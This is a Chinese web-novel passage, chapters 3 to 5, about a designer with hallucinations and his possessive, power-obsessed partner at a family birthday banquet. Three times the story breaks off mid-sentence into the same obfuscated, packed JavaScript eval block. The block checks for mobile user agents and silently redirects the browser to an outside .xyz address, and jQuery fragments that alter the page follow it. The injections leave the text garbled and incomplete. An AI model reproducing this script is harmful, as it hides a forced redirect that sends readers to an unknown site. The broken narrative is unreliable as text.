《他说再不会对我笑了!》 3. “你是不是……想起来什么了。” 【你开始怀疑了,是吗?】 明晃晃的八个字,飘在所有对话的顶端。 像烦人的苍蝇。 “你到底” 你到底想干什么? 他皱着眉刚打出三个字,背后便传来一个声音。 连名带姓。 “池兰倚。” 池兰倚的手机就这么“啪嗒”一声,摔在一片灰尘中。 他弯腰立刻去捞那闪着光的屏幕。一只手却捞住了他的腰,不让他干净的袖子落在灰尘里。 池兰倚根本没办法挣脱开那只手。不常锻炼的设计师只有苍白的皮肤和细瘦的、扁扁的腰腹。高嵘有时候会搂着他,让他坐到自己的身上,抚摸他的小腹和髋骨,笑他像个发育不好的少年——明明池兰倚个子挺高,他只是瘦而已。 别说这时候了,就连那时候他都挣扎不过高嵘。 宽大的手越过他,把手机捡了起来,棕色的西装袖口尽是灰尘。 啪。 好在就在这一刻,三十秒到了。 手机自动熄屏了。 池兰倚一把把手机从高嵘手里抢了过去。他喘着气,在惊魂未定的同时骂他:“你怎么像个鬼一样?” 他苍白着一张脸,胸口也在抖。高嵘伸手捏了捏他的唇角。 “怎么吓成这样?刚刚在背着我看什么我不能看的东西?”高嵘说。 这句话虽像质问,但高嵘居然心情很好。他含着笑意,和刚才进古董行时的冷截然不同,好像这一刻被吓得发抖的池兰倚,才格外合他心意。 于是,这句话更像是一个玩笑。 池兰倚更不爽了。他“啪”地挥手,打在高嵘的身上:“你管不着。” 这一下劲可大。就连旁边的工人都能听见这响亮的巴掌声。他们纷纷探头过来,寻思这下打得人有多痛。 高嵘却笑眯眯的,脾气很好的样子。他从不知道该不该上前的服务生手中拿下池兰倚的大衣,语气带着不自知的纵容:“手张开,把衣服穿上。我们要出发了。” 温暖的大衣裹着手还在抖的池兰倚,高嵘又帮他围上围巾。 被一群人看着,池兰倚有点后悔了。他看着高嵘:“我刚刚顺手就……你痛不痛?” “回家后你可以帮我把衣服脱掉,自己看看。”高嵘一本正经地说。 池兰倚的愧疚烟消云散了。他红了耳根,骂了一句:“神经。” ——还好,高嵘什么也没看到。 池兰倚装作无意似的,让手机悄悄滑进衣兜里。 高嵘垂着眼。他仔仔细细地抚平围巾上的每一根褶皱。这条围巾材质娇贵,就像池兰倚,不仅不爱吃饭,皮肤碰一碰就会发红。他在乱糟糟的工作室里跑来跑去时像个没家的小流浪儿,必须被高嵘收拾干净了才能出门。如果没有人打扫卫生,他甚至会在熬夜工作后打着哈欠,一脚踩在地上的铅笔上。 他们刚在一起时,高嵘就很喜欢收拾他了。他收拾池兰倚的头发,收拾池兰倚的衣服,收拾池兰倚不爱吃世界上大多数东西的胃和琳琅满目的药。最后,他收拾池兰倚的工作室,收拾池兰倚的品牌,还有池兰倚的所有记得住的和记不住的日程。 比如现在。 池兰倚坐在车上,想不起自己早上是不是忘记吃药了。 四年前池兰倚被恐同的父母送进家族开的疗养院——说是疗养院,其实是采用电击治疗的精神病院。被送进去的第一天,他就生了一场大病,连续高烧七天,下不了床。 醒来后他已经在另一家医院的病房里了。新病房里有他喜欢的百合花,洁净的窗户,送药的护士,还有坐在旁边的椅子上的高嵘。 高嵘闭着眼,维持着坐的姿势,却已经睡着了。下午的阳光透过百叶窗落在他年轻俊朗的脸上,被保养完美、毫无褶皱的皮肤上第一次有了青黑。 “他守了你六天,看见你醒来了才睡着。”进来换水的护士有意无意地说,“六天前他就把你送过来了。你的家属说,他是强行把你从疗养院里抢走的。他们在门外堵了两天,要他给个交代。不过第四天你还没醒时,他们就熬不住了,先自己回去了。” “你中间醒过来一次,好像做了噩梦,一直在尖叫,但谁都没听懂你在说什么。” 池兰倚愣了愣。他看向对面的、坐着熟睡的高嵘。 那一刻,他觉得他好像一个守护城邦直到最后一刻,战死也维持着站立姿态的武士。 在这次醒来之前,他一直觉得高嵘是个让他不太舒服的追求者。尽管热切,尽管“一见钟情”,但高嵘那身完美的西装和身上的诸多难以言表的矛盾点总让他不太舒服,让他想要远离——比如,高嵘实在是太了解他的各种喜好了。 而且高嵘是池兰倚的父母想要他成为、他却始终没有办法成为的“那种人”。年轻有为的企业家,礼仪完美的富家子弟,说话做事沉稳有力又符合社会规范什么什么的……池兰倚心怀狐疑与不安全感,对他敬而远之。 但生病醒来后,好像一切都改变了。即使高嵘穿着完美的西装,他隔着那层不舒服的障壁,也对他有一种强烈的亲近感。 强烈到一旦靠近,就会粉身碎骨。 于是在对上高嵘因感受到他的注视而醒来睁开的、疲惫但喜悦的双眼时,池兰倚没来由地情绪崩溃。 泪如决堤。 一个月后,池兰倚出院了。在那之后,他和高嵘搬到了一起。 但这不是一个如完美童话般的结局。七天的高烧和被父母“抛弃”的经历给他留下了残留的精神问题,比如,出现一些幻觉。 他开始在医生的建议下服用药物。 ……其实在规律服用药物一年半后,他的状况已经有了明显的好转了。 池兰倚坐在车上,摩挲着手里的围巾。 直到两个月前,他的状况又开始变得严重了起来。 没有原因。 “难道是工作压力太大了……”他揉了揉额头,有点烦躁。 “怎么了?”高嵘说。 高嵘已经从另一侧上车,和池兰倚一起坐在后排。 汽车驶出火树银花的第七大道。显然,就连司机都比池兰倚更知道他们的下一站在哪里。 “帮我拿着。”池兰倚毫不客气地把抱枕扔到高嵘身上。 他转向高嵘:“你记得……” 上一次我去看医生的日期吗? 幻觉就在这一刻又来了。 仿佛存在于时间罅隙里的、同时同地的另一幕场景又在池兰倚眼前出现。 【……池兰倚迈着长腿,跨过街角的浮冰。他没有摔一跤,而是稳定地上车。高嵘坐在前座,他自己靠在后排假寐。】 【当迈巴赫驶出街口时,池兰倚睁开眼:“这不是回家的路,我们要去哪儿?”】 【“川崎家,去向他道歉。兰倚,你不能再闹脾气了。”穿着灰色大衣的高嵘疲惫地说,“我知道你不愿意。但我们必须做这个。否则,那起官司会让我们的布局毁于一旦。现在是公司最关键的时候……”】 【“不可能,我绝对不可能这样做。你凭什么做这个决定?我绝对不会低头。”池兰倚尖锐地说。】 【他抓住前排驾驶座,对着司机道:“转弯,回家!”】 【“兰倚!”高嵘还在试图说服他,“形势比人强。我们现在必须低头。但,我们会报复回去的,只是不是现在……”】 【红灯还在继续,池兰倚却无动于衷。终于,高嵘的语气沉了下来:“你知道为了促成这次和解,我和公司的人做了多少吗?”】 【“你的心里永远只有公司、公司……这明明是我的公司,我才是ceo。”池兰倚沉默了片刻,冷冷道,“现在转弯,回家,我不想再说第二遍。”】 【司机张开嘴,他看了一眼脸色骤然难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691625|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看起来的高嵘。】 【但他坚定地,依照着池兰倚的指示向左转。】 【“……你真的要这么做吗?”高嵘慢慢地说。他的眼里也逐渐有了冷意。】 【“那是我的公司。”池兰倚说。】 【高嵘终于闭了眼。】 【“对。”他自嘲般地说,“你的公司。我只是一个合伙人。”】 “嘟嘟!” 后面传来汽车鸣笛声。幻觉般的画面又消失了。 池兰倚如梦初醒般,他转过脑袋,看着前方。 汽车顺滑地向右转,驶入新的车道。 “高嵘,这条路……”池兰倚手撑着自己立刻坐起来,“川崎他……我不去……” 高嵘看着忽然坐直的、反应激烈的池兰倚,眼中闪过震惊之色。 而后,他微微眯起了眼眸。 “川崎?”他说。 池兰倚一愣。 他说了什么奇怪的话吗? “川崎一年前就已经身败名裂、宣布退圈了。”高嵘薄唇微启,“好好的,怎么提起他的名字?” 回忆如潮水般涌上,池兰倚僵在了人工缝制的小牛皮座椅上。 他想起来了。 …… 早年间,川崎和他背后的KW财团一直有意识地在抢注非遗专利,其中包括了一些复古面料与织法、染发。他们用各种非法手段强行夺取了这些东西的“所有权”,并持续地用它们来碰瓷创作者。 早在设计学院时,池兰倚就听说过这个使得设计师们人人自危的流氓团伙。直到一年前,他看见一条新闻——KW财团破产,负责人入狱,首席设计师川崎出来鞠躬道歉,宣布退圈,而后,陷入官司缠身的绝境。 他们非法掌握的专利皆以被宣布“不合法”告终。池兰倚甚至在相关文件中,看见了和他的新一季设计有关的东西。 原来他们早在两年前开始就已经准备,要在池兰倚身上敲一笔下来。 如果不是意外落网,他们本该在一个月后就对池兰倚发起诉讼。 彼时的池兰倚在愤怒的同时,也觉得自己非常幸运。在傍晚高嵘回家后,他抱住高嵘的脖子蹭他。高嵘一边把他转移到床上,一边问他怎么这么开心。 ‘我的运气不错。否则,我一定会和他们拼个头破血流。’池兰倚说,‘世界上怎么能有这样的道理。’ ‘哪怕导致自己陷入绝境?’ ‘当然。’池兰倚理直气壮地说。 那时的高嵘在笑——他嘴角噙着一点笑意,比起高兴,却更显得玩味。 他那一刻低头看着池兰倚的、微妙的神情,也在这一刻被池兰倚想起来了。 像是一点配菜。 又像是即将在未来被端上餐桌的正餐。 …… “川崎……已经退圈了。”池兰倚重复。 川崎退圈了,不会再对他产生威胁了。 好吧。他皱了皱眉。刚才眼前出现的场景,大概又是他的幻想。 “好吧。”他向后一靠,又懒洋洋地窝回了自己的位置上,“我只是忽然想到,他之前就住在这条街上。” 高嵘仍然看着他的脸,目光里带着复杂的打量。池兰倚把第二个腰下的抱枕扔给他:“你那么看着我干什么。” 今天这件大衣真厚,让这只枕头硌得他发慌。 在车上,池兰倚已经习惯把高嵘当成自己的“垃圾站”。需要时,他从高嵘那里扯两个枕头过来垫着,不需要时,他把多余的枕头扔给高嵘。高嵘每次都能把枕头放得很好。 但这次,高嵘没有接住它。 “怎么了?”池兰倚语气里的调笑渐渐淡去。 他觉得高嵘有点儿不对劲。 高嵘沉沉地看着他,似在思考。 片刻后,他说:“池兰倚。” “你是不是……想起来什么了。” 4. 生日宴 想起来?他能想起来什么? 车窗外在下雨。随着迈巴赫上高速,雨水哗啦哗啦地打着车身,足够让所有心怀鬼胎的人发慌。 池兰倚只是一派的莫名其妙。 “想起来什么?”他说,“今天去哪里吗?” 他看了看车外漆黑的高速,愣了一下:“怎么上高速了?今天到底是要去哪里?” 高嵘只是看着他,抿着嘴唇。 最终,高嵘放弃般的轻咬了下后牙:“……算了。” “什么算了?”池兰倚疑惑地看着他,哧地笑了一声,“高嵘,你怎么变得这么神秘。” 他拉了拉高嵘的手臂,眼睛在黑夜里波光粼粼的:“高嵘,你给我一个提示吧,说不定我就想起来了。” 池兰倚有一双会说话的眼睛,无论是真话,还是谎话。 高嵘看着池兰倚,灵魂却在淡淡地想着。 他闭了闭眼睛,道:“忘了就算了。” “……到那儿就想起来了。”他又补了一句。像是为前面那句话找补。 “一个‘去哪儿’的问题,神秘成这样。”池兰倚躺在自己的大衣里,瞥了一眼高嵘。 池兰倚倒是完全没生气。温暖的车内,毛茸茸的大衣,身边的高嵘,都给他充分的安全感。 池兰倚打了个哈欠。雨中的车里太适合睡觉了,就在雨水拍打车窗的声音里,他迷迷糊糊地困了起来。 和昏睡的池兰倚不同,高嵘一直在静静地看着他。 路灯的光影在池兰倚的面庞上一盏盏闪过。那张尖锐的面容变得柔和、恬静、充满了高嵘给予的安全感。 高嵘伸手碰了碰他的唇角。池兰倚在梦里不太高兴似的,皱了皱眉。 池兰倚想不起来,保持着这样,最好。 他幽暗地想着。 …… 池兰倚做了个短暂又支离破碎的梦。等他哆嗦了一下醒来时,车窗外已经是张灯结彩了。 人刚醒来时牙齿有点酸。他撑着自己坐起来,看见高嵘坐在他对面,正在用随身电脑办公。 “我们……到了?”他转头看向窗外,感觉这里有点陌生,“这里是哪里?” 还挺多人的。 “我父亲的一个湖边庄园。”高嵘说,“你之前没来过。” 池兰倚眨了眨眼。 高家是有名的老牌家族,名下资产众多,光是私人小岛都有好几座。池兰倚没有来过这里,非常正常。 而且,池兰倚和高嵘的父亲关系不好。那名威严的老人在和池兰倚第一次见面之前,就很不喜欢他。 想来也是。有谁能接受自己寄予厚望的长子没有和一名门当户对的女子结婚,反而去找了个离经叛道的男“儿媳”。 池兰倚讨厌被人打量和评价。性格自我的他也绝没有要讨好这名长辈的想法。交往四年以来,他都尽量避免和对方出现在同一场合,即使见面,也是表现得客气又疏离。 “我们来这里做什么。”池兰倚又往窗外看。他看见了好几个有些熟悉的身影。 都是A城的名流。 “我母亲的生日宴。”高嵘说。 池兰倚蹙了蹙眉,他有点不自在地整理了下自己的袖口。 涉足政商两界的高家人的生日宴,想也知道会是什么样的场面,来的是什么样的人。 这简直可以说是池兰倚最不喜欢的场合了。从少年时开始,每当面临相似的场面时,他都恨不得缩在角落里发呆,直到那些虚情假意的觥筹交错与资源交换彻底结束。 高嵘也是知道他这个性格的。在过去,他从来没有强求他参加这样的场合。 “为什么带我过来?”池兰倚说,“你知道我对这种场合不那么……” 他不太想伤害到高嵘的感受,于是把“感兴趣”换成了:“擅长。” “一方面,我想要让他们看见,你是我身边唯一的男伴。这件事和他们怎么想毫无关系。”高嵘说。 他说的“他们”显然是高家的那些长辈。 池兰倚皱皱鼻子。高嵘见他一脸纠结,笑了笑:“我没指望让你去和他们交际——应该是他们来讨好你。” 这句“讨好”也太过了。 “我没有这个想法。”池兰倚立刻道。 “而且在宴会后,我们要和他们谈一些事情。这才是今天的重头戏。”高嵘说。 池兰倚一呆:“什么事?” “既然你之前忘记了,就等下再想起来吧。”高嵘用键盘打完最后一段话,“今天这件事的主动权,就落在我手里了。提示一下,有一样东西要交到你的手上。” 他指了指自己的手指,又指了指池兰倚的手指:“你一个,我一个。” 他这话说得意味深长。 池兰倚:“……” 总觉得高嵘不怀好意。而且高嵘这反应像是,池兰倚忘记了一件很重要的事情。高嵘一开始有点生气,但现在,又有点得意。 他到底在得意什么? 池兰倚不爽地吐了一口气。他看见高嵘总算合上电脑了,说:“你真是个工作狂——以前我以为我是,直到遇见你了,才知道你比我还要登峰造极。你怎么到这时候了还在工作?” 高嵘轻笑了一声。他下车,从另一侧接池兰倚下来。 等池兰倚的手落在他掌心时,他说:“因为权力。” “嗯?”池兰倚蹙眉。 “这世上所有的一切,都关乎权力。无论是安全、家庭、还是自由。”高嵘淡淡地说,“为了稳固地拥有你想拥有的东西,你需要变得足够强大、拥有能掌控一切的权力。掌握先机的好处,正是如此。” “是吗?我不这么认为。”池兰倚道。 他看了一眼高嵘,发现高嵘又轻笑了一下,似乎并不赞成池兰倚的观点。这让池兰倚有些不悦。 高嵘对池兰倚可谓是百依百顺,但偶尔,池兰倚总会在高嵘的身上感觉到一些让他很不舒服的棱角。 比如,高嵘对于“权力”的看法。 “你觉得感情也可以靠权力获得吗?”池兰倚被他牵着,走向灯光明亮的地毯,“还有生命。” 他没指望高嵘会回答。因为高嵘很聪明也很成熟,每次发觉池兰倚不悦时,他都会转换话题。 但这次,他忽然听见了高嵘的回答。 “如果你也曾被抛下过,你也会这样想的。” 高嵘什么时候被抛下过了? 池兰倚只来得及一愣,但他很快调整了脸上的表情。 因为记者拍照的闪光灯已经照亮了他的脸。他和高嵘手牵着手,对闪光灯露出一个仓促却完美的笑容。 原本等在花园、或在窗边交谈的人停止了动作或正在进行的话题。他们向着两人最先将走进的大厅鱼贯而入。好似这对名流情侣是大海中的灯塔、权利漩涡的中心。 好似这世上没有比这更合理的聚集。 “总算拍到这对豪门情侣了。即使现在被赶出去,这趟三小时的车程也值了。” 大门边缘,端着相机的记者得意洋洋地说。 “就这样一张照片,值几千,甚至上万。”他比了个手势。 坐在他身边的另一个狗仔则低着头。他用手指放大刚刚用单反拍下的照片。照片中,池兰倚的脸颊被闪光灯照得很苍白。 穿着奢华礼服的男女向着他们聚集。池兰倚紧着在场最有权势的英俊企业家,企业家手揽着他的肩膀,保护的姿态坚定而强势。 身旁,即将因为这对情侣赚到几千块的记者在哈哈大笑。狗仔在这片欢声笑语中微微疑惑。 照片里池兰倚在笑,但好像称不上很开心。 …… 高母的生日宴邀请了一众社会名流——却多是政商两界的。 池兰倚刚走进大厅,就觉得自己和这些人格格不入。 尤其是所有人都热情地向着他们鞠躬、或点头致意时。 “高先生。” “池先生。” 没有人敢忽视他们两个人——或者说,是忽视高嵘。 华国21世纪最知名的青年企业家,年纪轻轻就已经全面超越了他父辈的成就。 甚至可以说,他已经超越了整个高家。假以时日,让整个高家“活在他的阴影下”,也不是一句玩笑话。 “高先生。”一个男人笑嘻嘻地和他们打招呼,端着一杯酒过来,“好久不见,我敬你一杯。” 他又看向池兰倚,同样对他举杯:“好久不见,池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14691626|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先生。” 池兰倚的脸色顿时变得有点不冷不热的。高嵘倒是客气地回应他,聊起了城北地皮的事。 兴许也看出了池兰倚不太欢迎自己。那个男人转向池兰倚,道:“池先生,不知道您关于下一次走秀的场地,有没有什么想法?不知道池先生对于城北的几家艺术馆和遗迹花园感不感兴趣?” 这是赤/裸裸的示好了。男人看着池兰倚,眼里的意思也很明确:只要池兰倚想要在这里走秀,他都能帮他搞定。 池兰倚的反应和男人的热情形成了鲜明对比:“谢谢,但我自己会有别的办法。” 男人讨了个没趣,却也不生气。他又举了举酒杯,笑着和高嵘说了两句,随后走开了。 在走开前,他又看了池兰倚一眼。 池兰倚站在高嵘身边,穿了一身白。他的脸尖尖小小的,确实漂亮。 池兰倚沉下脸。高嵘随口般地提醒:“他是萧驰南的儿子。” “我知道,萧昉。我不明白你对他的态度怎么还不错,他对你的态度也很讨好。”池兰倚硬邦邦地说,“他之前想对巫樾出手。我不喜欢他。而你也在和他家的商战里坑了他家一把,赚了他家一大笔。” 高嵘却闷闷地笑了。他从托盘上拿了一杯酒给池兰倚:“因为我是高嵘。而他们家有求于我。他不会和我们撕破脸,因为他永远会想要和我们合作。” “谁都知道,只要能搭上我这条船,就能大赚一笔。”高嵘喝了一口杯子里的香槟,“这就是权力。他知道巫樾是你的朋友,我想他之后也不敢再招惹巫樾了。” 池兰倚握着酒杯,只觉得密密麻麻的不舒服。 无论如何,他都很难习惯这些场景。 “如果你对那几个场地感兴趣的话,你可以找他,他会把事情办妥的。”高嵘又说。 “免了。我自己有办法。”池兰倚立刻说。 更多的人端着酒向高嵘笑着走来,各有自己的目的。每个人都在谈论金融、政治和军事。池兰倚只觉得自己和这样的场景格格不入。 高嵘瞥了这些人一眼,低头对池兰倚说:“如果你觉得不舒服的话,我们去旁边……” “兰倚?” 一个清脆的女声在二人身后响起。 这个声音很熟悉。池兰倚错愕地转头。 身材高挑的女子站在他身后的灯光下。她容貌清丽,气质出尘。 在看清池兰倚的脸后,她笑了起来,非常开心:“真的是你呀!我上周刚回国,没想到能在这里见到你。真是太高兴了!” 她上下看他:“你长高了不少,我差点没认出你来呢。” 池兰倚也很震惊,他甚至有点结巴:“涟姐。” 于是,他错过了高嵘此刻的反应。 在看见女子的那一刻,高嵘瞳孔微缩,在眼底深处,他方才的运筹帷幄已荡然无存。 就像这个女子与池兰倚的偶遇,是他预料之外的场景。 他下意识地往女子的身后看。那里觥筹交错,人来人往。 只有她,没有其他人。 高嵘微微抿唇,似是松了一口气,眼神也平静、深沉下来。 他低头,将目光全部汇聚到池兰倚身上。 “乖。”女子笑得眉眼弯弯,她这才注意到站在池兰倚身边的高嵘,只是一眼她就认出了这个新闻上的名人,“您就是高先生吧?我叫乔涟,和兰倚是中学同学。” “我知道你,很有名的芭蕾舞蹈家。”高嵘点了点头,“很高兴认识你。” 池兰倚却没有注意到高嵘平静得有点出奇的反应。他往乔涟的背后看。 既然出国移民了的乔涟回来了,那么,还有另一个人…… “您谬赞啦。我可没有我弟弟有名。他才是天才钢琴家。”乔涟笑了起来,“兰倚,你在找乔泽吗?他在国外有钢琴巡演,这次没和我一起回来。” “哦……”池兰倚道。 有点遗憾。 “我上次问他,他说半年后再说。也不知道他打算什么时候回来。”乔涟补充道,“明明他也很想回家看看的。这么多年了,说到回国,他总是踌踌躇躇的,也不知道在纠结什么。” “而且,我觉得他好像有话想对你说。” 5.高母 “乔涟。” 有人在背后叫她。 乔涟回头与那女子说了几句,她看向池兰倚,抱歉地结束了和他之间的寒暄。 “你什么时候换手机号的?我都不知道。”她有点抱怨地道,“你的新手机号我记下了,以后有空出来玩。” 她对两人笑了笑,转身随同行的女子没入人群中。 “关于你的舞蹈工作室,我有几个想法……” 池兰倚听见那女子在和乔涟讨论。 乔涟从此以后,打算把事业重心放在国内?从这段对话来看,她甚至有回国长期定居的打算。 池兰倚愣了愣。 而且,还是在A城。 是只有她一个人打算回来,还是全家都…… 一个少年的身影不免出现在了池兰倚的脑海里。少年坐在琴房里,指尖在黑白琴键上流泻,对他微笑。 “池兰倚。”一个声音打破了回忆,“尝尝这个,是你喜欢吃的。” “哦……哦。” 看着魂不守舍地从自己手里接过甜品的池兰倚,高嵘面色微沉——但那份沉郁极其细微,除非是极其熟悉他的人,没人能看得出来。 “池兰倚?好久不见。”又有一个人和池兰倚打招呼。 在他们两人谈话的空档中。高嵘用眼神示意自己的秘书走到他身边。 “高先生,有什么吩咐吗?” “查查乔涟是什么时候回国的,她的舞蹈工作室又是怎么回事。”高嵘沉吟片刻后,又道,“还有,查清楚是谁给了她请柬。除此之外的各种细节,越详细越好。” “是。” 尽管应下,秘书依然一头雾水。她实在不明白,一个和A城的权力场和商场都毫无关联的舞蹈家,有什么值得高嵘如此如临大敌。 高嵘上次表现得这么谨慎,还是在打掉KW财团的时候。KW财团是个横跨国际的庞然大物,而乔涟,只是个长期在国外活动、刚刚回国的年轻女子。 她和高嵘唯一的关联……大概就是她的弟弟,是池兰倚的年少好友。 大厅的另一边,经纪人卫邈看了一眼正和其他人谈话、兴奋于自己拥有在国内发展事业的机遇的乔涟,又看了一眼远处的高嵘和池兰倚。 高嵘站在池兰倚的身侧。以他为中心,所有人都自觉地退避了一点距离。 于是池兰倚身后唯有高嵘那黑色的影子。 他如高嵘的禁脔一般。 卫邈不着痕迹地收回了目光。但很快,许多人的注意力便被卫邈刚才所看的那一块吸引了过去。 “儿子,兰倚,晚上好啊。” 身着杏黄色旗袍的中年女人笑吟吟地来到高嵘和池兰倚身边。她身后众人簇拥,皆是高家亲眷。 名叫许幽的女人年逾五十,眼角已经有了细纹。尽管如此,她身姿颀长,气质如兰,只凭那双毫无茧子的手便能看出,她是一名养尊处优的贵妇人。 “母亲。”高嵘说,他揽住了池兰倚的腰。 “许阿姨。”池兰倚也连忙放下了手里的盘子。 围观群众这么多,高嵘的母亲也在面前。尽管这位女士从未如高嵘父亲一般对池兰倚表现出不喜,甚至,她看上去亲切和蔼,很好说话。但毕竟有这么多人,被高嵘搂着,池兰倚实在是不自在。 他想要挣脱开,但高嵘的手,却握得更紧了。 很紧、很紧。在偌大的水晶吊灯下,如同对占有领土的宣誓。 “我和我男朋友池兰倚一起祝您生日快乐。”高嵘对自己的母亲微笑,“我们送您的生日贺礼,还是池兰倚专门挑的。” “男朋友”三个字说得十分明确,掷地有声。 …… “没想到高嵘这么……”有人顿了一下,没找到与“明目张胆”有同义、却更适合形容眼前场景的形容词。 毕竟在高家,高嵘才是真正的掌权人。掌权人是不需要对属臣做出解释的。 “高嵘算是直接把他和池兰倚的关系摆在了家族台面上?”有人说,“可池兰倚毕竟是男人。” “我真不明白。”还有人遗憾地摇摇头,“虽然所有人都默认了他们之间的关系,但像他这样的人物,明牌彰显出来,还是有些……” 另一边,原本在展示自己的宝石蛇头手镯的中年女人也停下了动作,探头看向大厅的那一角。那圈人群中的手持香槟,潇洒落拓的男子也借机带着笑容、偷偷溜出了人群。 名叫卫邈的经纪人也跟着他走了出来。他又瞥了一眼高嵘和池兰倚那边,转头换了表情,对他背景深厚的画家朋友热切道:“华晏,我真没想到你家里比我想象中还厉害。这可是高家的生日宴啊,就连一般的一线明星都收不到邀请函……要不是拜你所赐,我都没资格到这家庄园外面的花园里来。” “是吧,高家的确家大业大。这座庄园也极尽奢华。”画家华晏却没沉浸于对方的赞叹里,只是端着酒杯,打量室内的装修,片刻后叹了口气,“但没什么意思,不是吗?” 卫邈拧起眉头:“看不出来。刚才你和他们聊得不是挺开心的么?” “别用我在说谎的眼神看着我,我只是比较擅长应付他们。”名叫华晏的画家耸耸肩。 他顺手把酒杯放在侍者的盘子里。 “我还是觉得难以置信。今天下午,我还在第七大道的咖啡厅里和你喝咖啡,抱怨你挑剔的品味。没想到刚从咖啡厅走出来,你就忽然让我开个车,说先去换身衣服,再一起去高家的湖边庄园走一趟。”卫邈扫视在场的人,“那是昶旭集团的董事长,前些日子收购了常氏。那位是魏导,上个月才拿了金叶子大奖,这位是生物科技的童女士……” 各个都是闻名遐迩的名人。 但这些人此刻,都不怎么说话。 他们维持着交谈的姿势,眼神看向同一个地方。 ——人头攒动的大厅里的,一个小小的真空带。 高嵘,池兰倚,今天生日宴的主角、高嵘的母亲许幽。 全场视线的核心。 许幽身边站着的是高嵘的叔叔。在高家,他也是举足轻重的大人物。这个以固执守旧闻名的男人紧皱着眉看着池兰倚。从高嵘和池兰倚传出绯闻开始,他就强烈地反对高家的继承人和这样的一个男人搞在一起。 年轻时,这名当年的高家二把手曾以行事雷厉风行闻名。而如今,尽管再不悦、尽管再反对,他也只能站在那里,皱着眉头。 一句反对的话也不能说。 和他比起来,许幽则笑意盈盈。她问候向她表示祝贺的小辈二人,十分大方,就像她和高家叔叔不一样、对池兰倚没什么不满。 呵。 卫邈把目光又挪了回来。他看见自己的好朋友果然端着酒杯,也在往那边的真空带看。 从华晏的角度,刚好能看见站在高嵘身边的那个人。 池兰倚。 “华晏,你别动什么歪心思,我可不想去海湾底下捞你。”卫邈压低了声音,在努力警告华晏似的。 华晏耸耸肩,一派潇洒:“这里的环境和他格格不入,他真可怜。我一会儿去个盥洗室。你别拦着我就行。” “希望你真的去盥洗室。”卫邈说。 他怎么会阻止? 一切都如他期望的那样。 卫邈的手机里藏着一张他在紫金公学相册里发现的、池兰倚和乔泽的合照。 合照上,两名少年满面笑容。左边的那名少年的面目被拍得尤其清晰。 他和华晏的长相,有六分相似。 …… “你们两个小年轻自己去玩吧。我就不打扰你们了。” 许幽笑吟吟地说。 她身侧的高嵘的叔叔却一句话也没说。他看着放在池兰倚腰间的、高嵘的手,眼睛像是一串激光——如果可以的话,一定会把他们两个人的连接处烫穿的那种。 许幽要走。他鼻子里重重地出了一口气,也转身离开了。 可他最后,还是一个字也没说。 跟在他身边的秘书倒是乖觉,临走前对高嵘和池兰倚讨好地说:“高先生,池先生,祝您们今晚玩得愉快。” 她尤其深深看了池兰倚一眼,记住了这片一旦被触碰、就会让高嵘毫不客气地使人尽失脸面的逆鳞。 沐浴在众人或崇拜、或忌惮的目光下,高嵘没有丝毫的波动。他搂着池兰倚,低声对他说:“想去吃点东西么?” 池兰倚却在这时从他的手里挣脱了出来。 高嵘的体温已经在刚才的长时间接触中,如同一块烙铁一样烙在了他的腰间,滚烫、潮湿、无法祛除。他仰着头,漆黑的眼睛略带怒气地看着高嵘。 方才在许幽和高家叔叔在时,他没有从高嵘的手里挣扎出去。 但,方才那一长段时间,是他忍耐的极限、能给高嵘的最大的面子了。 高嵘不以为意。他带着池兰倚走出那块真空带,到没什么人的角落里。他看了一眼几个角落里的侍者,侍者们自觉地散开了。 池兰倚站在那片没什么人的餐桌旁,冷冷道:“别把我当成你示威或吵架的工具。” “我们没有吵架不是吗?他们刚才一个字也不敢说。”高嵘道。 “那就是用来展示的道具。”池兰倚毫不客气,“我不喜欢这样。刻意地站在他们面前,被所有人看着……” “好吧,我下次记住。”高嵘说,“但我们需要让他们知道,他们没可能对我们置喙。无论他们愿不愿意,我们的关系都会公开,成为准则。” 他给池兰倚拿了一杯池兰倚喜欢的果汁,可池兰倚看着他,只是不喝。 “我不明白你这么做的意义是什么。无论怎么做,他们都不可能喜欢我。我也不喜欢他们。”池兰倚拧着眉头道,“你很享受站在他们面前赌气,让他们不敢说废话的过程?……” “不是。”既然池兰倚不喝,高嵘索性自己抿了一口果汁,“这不是赌气,而是关乎权力。” “我不懂。”池兰倚固执地说。 “在过去,曾经有很多人向我说闲话。其中包括他们,也包括高家的、非高家的许多人。他们不相信一个十几岁的少年会有比他们更高的远见。但结果是,我成功了。结果是就像今日,他们称呼我为‘高先生’,而不是‘大少爷’。”高嵘平和道,“他们不敢反对我,是因为我变得比任何人都强。这就是权力。他们不敢说话,因为他们攀着我种下的这棵高家的大树,必须记得自己有几斤几两。这就是掌控。我在提醒他们这点,他们必须习惯我们。” “……” 见池兰倚沉默,高嵘抿唇,顿了顿,他说:“当然,不只是我。你也是你的领域里的强者, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 